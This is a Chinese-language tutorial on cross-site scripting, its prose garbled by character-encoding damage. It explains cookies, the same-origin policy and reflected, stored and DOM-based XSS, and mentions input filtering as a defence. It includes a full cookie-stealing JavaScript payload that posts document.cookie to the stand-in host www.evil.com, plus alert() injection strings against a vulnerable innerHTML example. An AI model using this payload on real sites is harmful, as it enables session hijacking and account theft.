å¾å¤ç½ç«é½æç§ä¿¡æè
çè¨æ¿åè½ãç»å½ç¨æ·å¯ä»¥å表è¯è®ºæè
ç»å
¶ä»ç¨æ·(å
æ¬ç®¡çå)åéç§ä¿¡ãä¸ä¸ªæç®åç模æ表åå¦ä¸:
<form action="sendmessage.php" method="post'">
<textarea name="message"> </textarea>
<input type="submit" value="send" />
</form>
å½ç¨æ·ç¹å»åéæ¶ï¼è¿æ¡æ¶æ¯ä¼è¢«ä¿åå¨æ°æ®åºä¸æå®çæ°æ®è¡¨ä¸ï¼å¦ä¸ä¸ªç¨æ·å½æå¼è¿æ¡æ¶æ¯çæ¶åå°çå°åéçå
容ãä½æ¯ï¼å¦æä¸ä¸ªæ¶ææ»å»è
åéçå
容å
å«äºä¸äºjavascript代ç ï¼è¿äºä»£ç ç¨äºå·åææçcookieä¿¡æ¯ãå½ç¨æ·æå¼çå°è¿æ¡æ¶æ¯çæ¶åï¼æ¶æçjavascript代ç å°±ä¼å¾å°æ§è¡ï¼é æææcookieä¿¡æ¯æ³æ¼ãæ»å»è
å¯ä»¥å©ç¨è·å¾è¿äºcookieä¿¡æ¯è¿è¡session hijackingä¼è¯å«æï¼ç´æ¥ä»¥åæ³ç¨æ·ç身份ç»å½å
¶ä»ç¨æ·çè´¦æ·ã
æ¶ææ»å»è
å¯ä»¥å¨æ¶æ¯æ¡ä¸å å
¥ä¸ä¸javascript代ç :
?
var url = "
http://www.evil.com/index.php"; //æ»å»è
æ§å¶çæå¡å¨
var postStr = "ck=" + document.cookie;
var ajax = null;
if(window.XMLHttpRequest())
{
ajax = new XMLHttpRequest();
}
else if(window.ActiveXObject)
{
ajax = new ActiveXObject("Microsoft.XMLHttp");
}
else
{
return;
}
ajax.open("POST", url, true);
ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajax.send(postStr);
ajax.onreadystatechange = function()
{
if(ajax.readyState == 4 && ajax.status == 200)
{
//alert("Done!");
}
}
éè¿AJAXå¼æ¥è¯·æ±ï¼å°è¢«æ»å»è
çææcookieä¿¡æ¯åéç»äºæ»å»è
æ§å¶çæå¡å¨ãæ»å»è
éåå³å¯å©ç¨è¿äºcookieä¿¡æ¯ä»¥âåæ³âç¨æ·ç身份è¿è¡ç»å½æä½ã
è¿éé¦å
è¦çæ¸
æ¥å 个éè¦çé®é¢:
1. cookieçä½ç¨
Cookieï¼ææ¶ä¹ç¨å
¶å¤æ°å½¢å¼Cookiesï¼ææäºç½ç«ä¸ºäºè¾¨å«ç¨æ·èº«ä»½ãè¿è¡sessionè·è¸ªèå¨åå¨ç¨æ·æ¬å°ç»ç«¯ä¸çæ°æ®ï¼é常ç»è¿å å¯ï¼ãå®ä¹äºRFC2109ï¼å·²åºå¼ï¼ï¼ææ°å代çè§èæ¯RFC2965ã
ä¹å°±æ¯è¯´ï¼cookieæ¯ç¨æ·åæå¡å¨ä¹é´çæ¡¥æ¢ãæå¡å¨å¯ä»¥ä½¿ç¨sessionæ¥ä¿åç¨æ·ç身份信æ¯(ID,è´ç©è½¦ç)ï¼ä½æ¯éè¦ç¨æ·å¨è®¿é®ç½é¡µ(åéHTTPæ°æ®å
)çæ¶åé带ä¸ç¸åºçcookieï¼éè¿cookieä¸çç¹å®å¼æ¥è¯å«sessionIDï¼æè½æåç¬ç¨æ·ååç¬çsessionè系起æ¥ãcookieæ¯æç¶æHTTP交äºçä¸ç§éè¦æºå¶ã
2. æµè§å¨çåæºçç¥
å¨è¿è¡cookieçªåçæ¶åï¼æ»å»è
å·åçcookieæ¯ä»ä¹ï¼æ¯å
¨é¨cookieï¼è¿æ¯å½åè¿ä¸ªç½ç«çcookieï¼è¦è§£å³è¿ä¸ªé®é¢ï¼æ们è¦å
äºè§£ä¸äºæµè§å¨çåæºçç¥ã
åæºçç¥ï¼å®æ¯ç±Netscapeæåºçä¸ä¸ªèåçå®å
¨çç¥ã
ç°å¨æææ¯æJavaScript çæµè§å¨é½ä¼ä½¿ç¨è¿ä¸ªçç¥ã
æè°åæºæ¯æï¼ååï¼åè®®ï¼ç«¯å£ç¸åã
å½ä¸ä¸ªæµè§å¨ç两个tab页ä¸åå«æå¼æ¥ ç¾åº¦åè°·æç页é¢
å½æµè§å¨çç¾åº¦tab页æ§è¡ä¸ä¸ªèæ¬çæ¶åä¼æ£æ¥è¿ä¸ªèæ¬æ¯å±äºåªä¸ªé¡µé¢çï¼
å³æ£æ¥æ¯å¦åæºï¼åªæåç¾åº¦åæºçèæ¬æä¼è¢«æ§è¡ã
åæºçç¥(Same Origin Policy)æ¯ä¸ç§çº¦å®ï¼å®æ¯æµè§å¨ææ ¸å¿ä¹æ¯æåºæ¬çå®å
¨åè½ï¼å¦æ缺å°äºåæºçç¥ï¼åæµè§å¨çæ£å¸¸åè½å¯è½é½ä¼åå°å½±åãå¯ä»¥è¯´webæ¯æ建å¨åæºçç¥çåºç¡ä¹ä¸çï¼æµè§å¨åªæ¯é对åæºçç¥çä¸ç§å®ç°ã
æµè§å¨çåæºçç¥éå¶äºæ¥èªä¸åæºçâdocumentâæèæ¬ï¼å¯¹å½åâdocumentâç读åæè
设置æäºå±æ§ã为äºä¸è®©æµè§å¨ç页é¢è¡ä¸ºåçæ··ä¹±ï¼æµè§å¨æåºäºâOriginâ(æº)è¿ä»¥æ¦å¿µï¼æ¥èªä¸åçOriginç对象æ æ³äºç¸å¹²æ°ã
å 为åæºçç¥çåå ï¼ä¹å°±å¯¼è´äºæ们çXSS Payload(XSSæ»å»ä»£ç )å¿
é¡»å¨æ们å¸ææ»å»çåä¸ä¸ªåä¸è§¦åãä¾å¦æ»å»è
å¦ææ³çªåå¨
www.a.comä¸çcookieï¼é£å°±å¿
é¡»å¨
www.a.comè¿ä¸ªå(å¯ä»¥æ¯ä¸å页é¢ï¼ä½è¦ä¿è¯æ¯åä¸ä¸ªå)ä¸ççæä¸ä¸ªé¡µé¢æ¾ç½®XSS代ç ï¼å¯ä»¥æ¯åå¨åï¼ä¹å¯ä»¥æ¯åå°åæDOM Baesdåçã
4. XSSæ»å»çç§ç±»
对XSSçå类没ææç¡®çæ åï¼ä½ä¸çæ®éå°XSSæ»å»å为ä¸ç±»ãåå°åXSS(non-persistent XSS), åå¨åXSS(persistent XSS), DOM Based XSS
4.1 éæä¹
æ§è·¨ç«ç¹èæ¬æ»å»
éæä¹
æ§XSSä¹ç§°ä¸ºåå°åè·¨ç«æ¼æ´ãå®æ¯æ常è§çç±»åçXSSãæ¼æ´äº§ççåå æ¯æ»å»è
注å
¥çæ°æ®åæ å¨ååºä¸ãå¦æä½ çäºæ们ä¸é¢æ示çä¾å,第ä¸ä¸ªä¾åæ¯ä¸ä¸ªéæä¹
çXSSæ»å»ãä¸ä¸ªå
¸åçéæä¹
æ§XSSå
å«ä¸ä¸ªå¸¦XSSæ»å»åéçé¾æ¥(å³æ¯æ¬¡æ»å»éè¦ç¨æ·çç¹å»)ã
4.2 æä¹
çè·¨ç«ç¹èæ¬æ»å»
æä¹
åè·¨ç«ç¹èæ¬ä¹ç§°ä¸ºåå¨è·¨ç«ç¹èæ¬ãå®ä¸è¬åçå¨XSSæ»å»åé(ä¸è¬æXSSæ»å»ä»£ç )åå¨å¨ç½ç«æ°æ®åºï¼å½ä¸ä¸ªé¡µé¢è¢«ç¨æ·æå¼çæ¶åæ§è¡ãæ¯å½ç¨æ·æå¼æµè§å¨,èæ¬æ§è¡ãå¨ä¸é¢ç示ä¾ä¸,第äºä¸ªä¾åå°±å±ç¤ºäºä¸ä¸ªæä¹
çXSSæ»å»ãæä¹
çXSSç¸æ¯éæä¹
æ§XSSæ»å»å±å®³æ§æ´å¤§,å 为æ¯å½ç¨æ·æå¼é¡µé¢ï¼æ¥çå
容æ¶èæ¬å°èªå¨æ§è¡ãè°·æçorkutæ¾ç»å°±éåå°XSSã
4.3 åºäºdomçè·¨ç«ç¹èæ¬æ»å»
åºäºDOMçXSSææ¶ä¹ç§°ä¸ºtype0 XSSãå½ç¨æ·è½å¤éè¿äº¤äºä¿®æ¹æµè§å¨é¡µé¢ä¸çDOM(Document Object Model)并æ¾ç¤ºå¨æµè§å¨ä¸æ¶ï¼å°±æå¯è½äº§çè¿ç§æ¼æ´ï¼ä»ææä¸æ¥è¯´å®ä¹æ¯åå°åXSSã
éè¿ä¿®æ¹é¡µé¢çDOMèç¹å½¢æçXSSï¼ç§°ä¹ä¸ºDOM Based XSSã
?
1
2
3
4
5
6
7
8
9
10
<script>
function test()
{
var str = document.getElementById("text").value;
document.getElementById("t").innerHTML = "<a href='" + str + "' >testLink</a>";
}
</script>
<div id="t"></div>
<input type="text" id="text" value="" />
<input type="button" id="s" value="write" onclick="test()" />
å¨è¿ä¸ªåºæ¯ä¸ï¼ä»£ç ä¿®æ¹äºé¡µé¢çDOMèç¹ï¼éè¿innerHTMLæä¸æ®µç¨æ·æ°æ®å½ä½HTMLåå
¥å°é¡µé¢ä¸ï¼è¿å°±é æäºDOM Based XSS
' onclick=alert(/xss/) '
è¾å
¥åï¼é¡µé¢ä»£ç å°±åæäº:
<a href='' onclick=alert(/xss/) '' >testLink</a>
ç¹å»è¿ä¸ªæ°çæçé¾æ¥ï¼èæ¬å°è¢«æ§è¡ã
å®é
ä¸ï¼è¿éè¿æå¦å¤ä¸ç§å©ç¨æ¹å¼âé¤äºæé ä¸ä¸ªæ°äºä»¶å¤ï¼è¿å¯ä»¥éæ©éåæ<a>æ ç¾ï¼å¹¶æå
¥ä¸ä¸ªæ°çHTMLæ ç¾:
'><img src=# onerror=alert(/xss2/) /><'
页é¢ä»£ç åæäº:
<a href=''><img src=# onerror=alert(/xss2/) /><'' >testLink</a>
5. XSSæ¼æ´äº§ççåå
è·¨ç«ç¹èæ¬ç主è¦åå æ¯ç¨åºç¿å¯¹ç¨æ·çä¿¡ä»»ãå¼å人åè½»æ¾å°è®¤ä¸ºç¨æ·æ°¸è¿ä¸ä¼è¯å¾æ§è¡ä»ä¹åºæ ¼çäºæ
,æ以ä»ä»¬å建åºç¨ç¨åº,å´æ²¡æ使ç¨ä»»ä½é¢å¤ç代ç æ¥è¿æ»¤ç¨æ·è¾å
¥ä»¥é»æ¢ä»»ä½æ¶ææ´»å¨ãå¦ä¸ä¸ªåå æ¯,è¿ç§æ»å»æ许å¤åä½ï¼ç¨å¶é åºä¸ç§è¡ä¹ææçXSSè¿æ»¤å¨æ¯ä¸ä»¶æ¯è¾å°é¾çäºæ
ã
ä½æ¯è¿åªæ¯ç¸å¯¹çï¼å¯¹ç¨æ·è¾å
¥æ°æ®çâç¼ç âåâè¿æ»¤âå¨ä»»ä½æ¶åé½æ¯å¾éè¦çï¼æ们å¿
é¡»éåä¸äºé对æ§çæ段对å
¶è¿è¡é²å¾¡ã